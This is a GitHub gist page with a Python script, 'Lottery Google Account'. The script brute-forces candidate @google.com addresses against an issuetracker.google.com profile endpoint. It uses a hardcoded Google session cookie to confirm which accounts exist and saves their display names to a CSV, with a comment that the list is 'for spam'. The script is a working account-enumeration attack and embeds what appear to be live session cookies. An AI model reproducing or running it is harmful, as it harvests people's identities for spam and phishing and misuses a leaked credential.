Skip to content

Instantly share code, notes, and snippets.

@dertin
Last active February 21, 2020 19:04
Show Gist options
  • Save dertin/6640fa700de8f0185d824a4cc02d1e57 to your computer and use it in GitHub Desktop.
Save dertin/6640fa700de8f0185d824a4cc02d1e57 to your computer and use it in GitHub Desktop.
#!/usr/bin/env python3
# Author: Guillermo Cespedes <dev.dertin@gmail.com>
# pip install requests http itertools
import requests
import json
import http.cookies
import itertools
import os.path
# A cookie from any Google user is required. You do not have to have any special permission.
raw_google_cookie = 'SID=qAYvN6yj8e2fRFecqWlWYQknkZD8mseQQ4j4vw_HsPsgPdVmo9ZKwlOmTDhZtsxDu92jbA.; HSID=AsC0Z_DpIfNwnae1X; SSID=AGreC7UnfOKFu5Ti-; APISID=ND7EW7O93Bhu7NcG/AtVuLjCiufZ5ol50o; SAPISID=K-DKoe5EC2aX2hPp/AXadlApTuka-813OC; 1P_JAR=2018-10-31-11; NID=144=oowEriUOs4UO_gEeBYKrFcVd7_dxQdoozqgrEqHOxwY8HsxryMPIb62SfiTHoKzRk7KCqtdsSReV-N6UXENBIbMjDzbWMvstATy8iQUjXQtIarrWnxnxmOe9eOgdyHsD0LleeaUlR5sy7KIyjg5WN82FhDYD6YJnCYO58RDkOWyJqbPAq1IkAMjrhZTC3N1k1-mgPbtUjrkB8vE03ZKTLGmkjwwqQwrCS5LEk-8mKmggp1znBpuC; SIDCC=ABtHo-Ef5ISyuKYJA52_LUlLYPDZ9Kt6fhdi-Z-fqtXYsbAc_9m6ilTG5D8hngJDThyadtrM_U8'
file_name = 'mails.csv'
check_file = True
split = ';'
#############
def checkGoogleAccount(usernames):
global raw_google_cookie
simple_cookie = http.cookies.SimpleCookie(raw_google_cookie)
cookie_jar = requests.cookies.RequestsCookieJar()
cookie_jar.update(simple_cookie)
response = requests.get("https://issuetracker.google.com/action/user_profiles?usernames="+usernames, cookies=cookie_jar)
strJsonResponse = response.content.decode("utf-8").replace(")]}'", "")
#print(jsonResponse)
jsonResponse = json.loads(strJsonResponse)
dataKey = jsonResponse.keys()
file = open(file_name, 'a')
if len(dataKey) == 0:
print('\033[91m' + usernames + " account does not exist" + '\033[0m')
file.write(usernames+split+'#remove#'+'\n') # only save for no repeat request
else:
for key in dataKey:
# Save in list for spam
print('\033[92m' + key + " account exist" + '\033[0m')
if 'displayName' in jsonResponse[usernames]:
print(jsonResponse[usernames]['displayName'])
file.write(usernames+split+jsonResponse[usernames]['displayName']+'\n')
else:
file.write(usernames+'\n')
file.close()
print("\n")
#############
def isInList(mail):
global check_file
if os.path.isfile(file_name):
if check_file:
with open(file_name) as f:
for line in f:
mail_file = line.split(split)
if mail in mail_file[0]:
return True
#check_file = False
return False
return False
#############
def lottery(max, seq):
for L in range(4, max+1):
for username in itertools.product(seq, repeat=L):
test_mail_google = ''.join(username) + '@google.com';
if not isInList(test_mail_google):
checkGoogleAccount(test_mail_google)
else:
print('\033[93m' + test_mail_google + " account already saved" + '\033[0m')
#############
print("Lottery Google Account")
lottery(64, "etaonrishdlfcmugypwbvkxjqz0123456789")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment